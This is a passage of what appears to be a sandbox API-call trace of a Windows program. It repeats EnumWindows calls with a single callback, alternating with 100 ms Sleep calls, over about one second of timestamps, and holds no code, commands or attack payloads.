(dwMilliseconds=0x64) [0134.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.265] Sleep (dwMilliseconds=0x64) [0134.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.267] Sleep (dwMilliseconds=0x64) [0134.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.269] Sleep (dwMilliseconds=0x64) [0134.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.271] Sleep (dwMilliseconds=0x64) [0134.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.274] Sleep (dwMilliseconds=0x64) [0134.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.276] Sleep (dwMilliseconds=0x64) [0134.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.278] Sleep (dwMilliseconds=0x64) [0134.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.281] Sleep (dwMilliseconds=0x64) [0134.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.284] Sleep (dwMilliseconds=0x64) [0134.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.286] Sleep (dwMilliseconds=0x64) [0134.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.288] Sleep (dwMilliseconds=0x64) [0134.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.290] Sleep (dwMilliseconds=0x64) [0134.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.292] Sleep (dwMilliseconds=0x64) [0134.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.294] Sleep (dwMilliseconds=0x64) [0134.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.295] Sleep (dwMilliseconds=0x64) [0134.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.297] Sleep (dwMilliseconds=0x64) [0134.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.298] Sleep (dwMilliseconds=0x64) [0134.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.300] Sleep (dwMilliseconds=0x64) [0134.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.302] Sleep (dwMilliseconds=0x64) [0134.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.304] Sleep (dwMilliseconds=0x64) [0134.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.306] Sleep (dwMilliseconds=0x64) [0134.307] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.307] Sleep (dwMilliseconds=0x64) [0134.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.310] Sleep (dwMilliseconds=0x64) [0134.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.372] Sleep (dwMilliseconds=0x64) [0134.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.457] Sleep (dwMilliseconds=0x64) [0134.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.459] Sleep (dwMilliseconds=0x64) [0134.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.461] Sleep (dwMilliseconds=0x64) [0134.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.463] Sleep (dwMilliseconds=0x64) [0134.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.464] Sleep (dwMilliseconds=0x64) [0134.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.484] Sleep (dwMilliseconds=0x64) [0134.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.486] Sleep (dwMilliseconds=0x64) [0134.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.488] Sleep (dwMilliseconds=0x64) [0134.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.490] Sleep (dwMilliseconds=0x64) [0134.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.492] Sleep (dwMilliseconds=0x64) [0134.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.494] Sleep (dwMilliseconds=0x64) [0134.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.496] Sleep (dwMilliseconds=0x64) [0134.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.498] Sleep (dwMilliseconds=0x64) [0134.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.500] Sleep (dwMilliseconds=0x64) [0134.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.502] Sleep (dwMilliseconds=0x64) [0134.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.503] Sleep (dwMilliseconds=0x64) [0134.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.505] Sleep (dwMilliseconds=0x64) [0134.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.507] Sleep (dwMilliseconds=0x64) [0134.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.509] Sleep (dwMilliseconds=0x64) [0134.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.512] Sleep (dwMilliseconds=0x64) [0134.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.514] Sleep (dwMilliseconds=0x64) [0134.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.516] Sleep (dwMilliseconds=0x64) [0134.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.518] Sleep (dwMilliseconds=0x64) [0134.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.520] Sleep (dwMilliseconds=0x64) [0134.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.522] Sleep (dwMilliseconds=0x64) [0134.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.524] Sleep (dwMilliseconds=0x64) [0134.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.526] Sleep (dwMilliseconds=0x64) [0134.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.528] Sleep (dwMilliseconds=0x64) [0134.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.530] Sleep (dwMilliseconds=0x64) [0134.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.533] Sleep (dwMilliseconds=0x64) [0134.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.549] Sleep (dwMilliseconds=0x64) [0134.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.551] Sleep (dwMilliseconds=0x64) [0134.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.555] Sleep (dwMilliseconds=0x64) [0134.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.558] Sleep (dwMilliseconds=0x64) [0134.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.562] Sleep (dwMilliseconds=0x64) [0134.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.565] Sleep (dwMilliseconds=0x64) [0134.568] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.568] Sleep (dwMilliseconds=0x64) [0134.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.570] Sleep (dwMilliseconds=0x64) [0134.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.572] Sleep (dwMilliseconds=0x64) [0134.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.574] Sleep (dwMilliseconds=0x64) [0134.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.577] Sleep (dwMilliseconds=0x64) [0134.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.579] Sleep (dwMilliseconds=0x64) [0134.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.582] Sleep (dwMilliseconds=0x64) [0134.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.584] Sleep (dwMilliseconds=0x64) [0134.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.586] Sleep (dwMilliseconds=0x64) [0134.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.589] Sleep (dwMilliseconds=0x64) [0134.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.590] Sleep (dwMilliseconds=0x64) [0134.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.592] Sleep (dwMilliseconds=0x64) [0134.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.594] Sleep (dwMilliseconds=0x64) [0134.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.596] Sleep (dwMilliseconds=0x64) [0134.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.598] Sleep (dwMilliseconds=0x64) [0134.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.600] Sleep (dwMilliseconds=0x64) [0134.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.677] Sleep (dwMilliseconds=0x64) [0134.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.679] Sleep (dwMilliseconds=0x64) [0134.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.681] Sleep (dwMilliseconds=0x64) [0134.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.683] Sleep (dwMilliseconds=0x64) [0134.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.685] Sleep (dwMilliseconds=0x64) [0134.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.688] Sleep (dwMilliseconds=0x64) [0134.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.690] Sleep (dwMilliseconds=0x64) [0134.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.691] Sleep (dwMilliseconds=0x64) [0134.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.693] Sleep (dwMilliseconds=0x64) [0134.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.695] Sleep (dwMilliseconds=0x64) [0134.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.698] Sleep (dwMilliseconds=0x64) [0134.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.702] Sleep (dwMilliseconds=0x64) [0134.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.706] Sleep (dwMilliseconds=0x64) [0134.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.708] Sleep (dwMilliseconds=0x64) [0134.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.711] Sleep (dwMilliseconds=0x64) [0134.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.712] Sleep (dwMilliseconds=0x64) [0134.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.714] Sleep (dwMilliseconds=0x64) [0134.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.717] Sleep (dwMilliseconds=0x64) [0134.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.719] Sleep (dwMilliseconds=0x64) [0134.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.721] Sleep (dwMilliseconds=0x64) [0134.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.723] Sleep (dwMilliseconds=0x64) [0134.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.725] Sleep (dwMilliseconds=0x64) [0134.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.727] Sleep (dwMilliseconds=0x64) [0134.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.729] Sleep (dwMilliseconds=0x64) [0134.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.731] Sleep (dwMilliseconds=0x64) [0134.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.733] Sleep (dwMilliseconds=0x64) [0134.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.735] Sleep (dwMilliseconds=0x64) [0134.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.736] Sleep (dwMilliseconds=0x64) [0134.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.738] Sleep (dwMilliseconds=0x64) [0134.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.742] Sleep (dwMilliseconds=0x64) [0134.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.743] Sleep (dwMilliseconds=0x64) [0134.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.745] Sleep (dwMilliseconds=0x64) [0134.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.747] Sleep (dwMilliseconds=0x64) [0134.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.749] Sleep (dwMilliseconds=0x64) [0134.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.751] Sleep (dwMilliseconds=0x64) [0134.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.753] Sleep (dwMilliseconds=0x64) [0134.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.755] Sleep (dwMilliseconds=0x64) [0134.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.757] Sleep (dwMilliseconds=0x64) [0134.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.759] Sleep (dwMilliseconds=0x64) [0134.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.761] Sleep (dwMilliseconds=0x64) [0134.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.764] Sleep (dwMilliseconds=0x64) [0134.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.766] Sleep (dwMilliseconds=0x64) [0134.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.768] Sleep (dwMilliseconds=0x64) [0134.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.770] Sleep (dwMilliseconds=0x64) [0134.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.772] Sleep (dwMilliseconds=0x64) [0134.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.774] Sleep (dwMilliseconds=0x64) [0134.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.777] Sleep (dwMilliseconds=0x64) [0134.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.779] Sleep (dwMilliseconds=0x64) [0134.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.781] Sleep (dwMilliseconds=0x64) [0134.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.783] Sleep (dwMilliseconds=0x64) [0134.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.784] Sleep (dwMilliseconds=0x64) [0134.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.787] Sleep (dwMilliseconds=0x64) [0134.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.789] Sleep (dwMilliseconds=0x64) [0134.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.791] Sleep (dwMilliseconds=0x64) [0134.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.793] Sleep (dwMilliseconds=0x64) [0134.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.795] Sleep (dwMilliseconds=0x64) [0134.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.797] Sleep (dwMilliseconds=0x64) [0134.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.799] Sleep (dwMilliseconds=0x64) [0134.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.801] Sleep (dwMilliseconds=0x64) [0134.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.805] Sleep (dwMilliseconds=0x64) [0134.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.806] Sleep (dwMilliseconds=0x64) [0134.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.808] Sleep (dwMilliseconds=0x64) [0134.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.811] Sleep (dwMilliseconds=0x64) [0134.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.813] Sleep (dwMilliseconds=0x64) [0134.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.815] Sleep (dwMilliseconds=0x64) [0134.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.817] Sleep (dwMilliseconds=0x64) [0134.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.819] Sleep (dwMilliseconds=0x64) [0134.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.820] Sleep (dwMilliseconds=0x64) [0134.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.822] Sleep (dwMilliseconds=0x64) [0134.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.824] Sleep (dwMilliseconds=0x64) [0134.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.825] Sleep (dwMilliseconds=0x64) [0134.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.827] Sleep (dwMilliseconds=0x64) [0134.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.829] Sleep (dwMilliseconds=0x64) [0134.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.831] Sleep (dwMilliseconds=0x64) [0134.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.833] Sleep (dwMilliseconds=0x64) [0134.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.836] Sleep (dwMilliseconds=0x64) [0134.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.838] Sleep (dwMilliseconds=0x64) [0134.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.840] Sleep (dwMilliseconds=0x64) [0134.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.842] Sleep (dwMilliseconds=0x64) [0134.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.844] Sleep (dwMilliseconds=0x64) [0134.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.846] Sleep (dwMilliseconds=0x64) [0134.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.848] Sleep (dwMilliseconds=0x64) [0134.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.850] Sleep (dwMilliseconds=0x64) [0134.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.852] Sleep (dwMilliseconds=0x64) [0134.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.854] Sleep (dwMilliseconds=0x64) [0134.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.856] Sleep (dwMilliseconds=0x64) [0134.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.858] Sleep (dwMilliseconds=0x64) [0134.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.860] Sleep (dwMilliseconds=0x64) [0134.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.862] Sleep (dwMilliseconds=0x64) [0134.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.864] Sleep (dwMilliseconds=0x64) [0134.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.865] Sleep (dwMilliseconds=0x64) [0134.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.867] Sleep (dwMilliseconds=0x64) [0134.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.868] Sleep (dwMilliseconds=0x64) [0134.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.870] Sleep (dwMilliseconds=0x64) [0134.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.871] Sleep (dwMilliseconds=0x64) [0134.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.926] Sleep (dwMilliseconds=0x64) [0134.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.928] Sleep (dwMilliseconds=0x64) [0134.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.930] Sleep (dwMilliseconds=0x64) [0134.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.932] Sleep (dwMilliseconds=0x64) [0134.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.933] Sleep (dwMilliseconds=0x64) [0134.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.935] Sleep (dwMilliseconds=0x64) [0134.937] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.937] Sleep (dwMilliseconds=0x64) [0134.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.939] Sleep (dwMilliseconds=0x64) [0134.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.971] Sleep (dwMilliseconds=0x64) [0134.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.973] Sleep (dwMilliseconds=0x64) [0134.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.977] Sleep (dwMilliseconds=0x64) [0134.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.979] Sleep (dwMilliseconds=0x64) [0134.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.980] Sleep (dwMilliseconds=0x64) [0134.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.982] Sleep (dwMilliseconds=0x64) [0134.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.984] Sleep (dwMilliseconds=0x64) [0134.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0134.986] Sleep (dwMilliseconds=0x64) [0135.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.008] Sleep (dwMilliseconds=0x64) [0135.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.011] Sleep (dwMilliseconds=0x64) [0135.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.013] Sleep (dwMilliseconds=0x64) [0135.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.014] Sleep (dwMilliseconds=0x64) [0135.015] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.016] Sleep (dwMilliseconds=0x64) [0135.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.017] Sleep (dwMilliseconds=0x64) [0135.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.019] Sleep (dwMilliseconds=0x64) [0135.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.020] Sleep (dwMilliseconds=0x64) [0135.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.022] Sleep (dwMilliseconds=0x64) [0135.025] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.025] Sleep (dwMilliseconds=0x64) [0135.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.028] Sleep (dwMilliseconds=0x64) [0135.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.030] Sleep (dwMilliseconds=0x64) [0135.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.034] Sleep (dwMilliseconds=0x64) [0135.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.036] Sleep (dwMilliseconds=0x64) [0135.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.040] Sleep (dwMilliseconds=0x64) [0135.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.062] Sleep (dwMilliseconds=0x64) [0135.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.064] Sleep (dwMilliseconds=0x64) [0135.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.065] Sleep (dwMilliseconds=0x64) [0135.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.067] Sleep (dwMilliseconds=0x64) [0135.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.169] Sleep (dwMilliseconds=0x64) [0135.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.174] Sleep (dwMilliseconds=0x64) [0135.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.175] Sleep (dwMilliseconds=0x64) [0135.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.181] Sleep (dwMilliseconds=0x64) [0135.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.182] Sleep (dwMilliseconds=0x64) [0135.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.184] Sleep (dwMilliseconds=0x64) [0135.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.185] Sleep (dwMilliseconds=0x64) [0135.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.187] Sleep (dwMilliseconds=0x64) [0135.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.188] Sleep (dwMilliseconds=0x64) [0135.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.191] Sleep (dwMilliseconds=0x64) [0135.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.193] Sleep (dwMilliseconds=0x64) [0135.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.194] Sleep (dwMilliseconds=0x64) [0135.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.196] Sleep (dwMilliseconds=0x64) [0135.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.197] Sleep (dwMilliseconds=0x64) [0135.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.199] Sleep (dwMilliseconds=0x64) [0135.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.200] Sleep (dwMilliseconds=0x64) [0135.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.202] Sleep (dwMilliseconds=0x64) [0135.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.203] Sleep (dwMilliseconds=0x64) [0135.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.205] Sleep (dwMilliseconds=0x64) [0135.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.206] Sleep (dwMilliseconds=0x64) [0135.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.208] Sleep (dwMilliseconds=0x64) [0135.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.209] Sleep (dwMilliseconds=0x64) [0135.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.211] Sleep (dwMilliseconds=0x64) [0135.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.215] Sleep (dwMilliseconds=0x64) [0135.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.216] Sleep (dwMilliseconds=0x64) [0135.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.218] Sleep (dwMilliseconds=0x64) [0135.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.219] Sleep (dwMilliseconds=0x64) [0135.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.221] Sleep (dwMilliseconds=0x64) [0135.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.223] Sleep (dwMilliseconds=0x64) [0135.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.226] Sleep (dwMilliseconds=0x64) [0135.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.228] Sleep (dwMilliseconds=0x64) [0135.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0135.230] Sleep 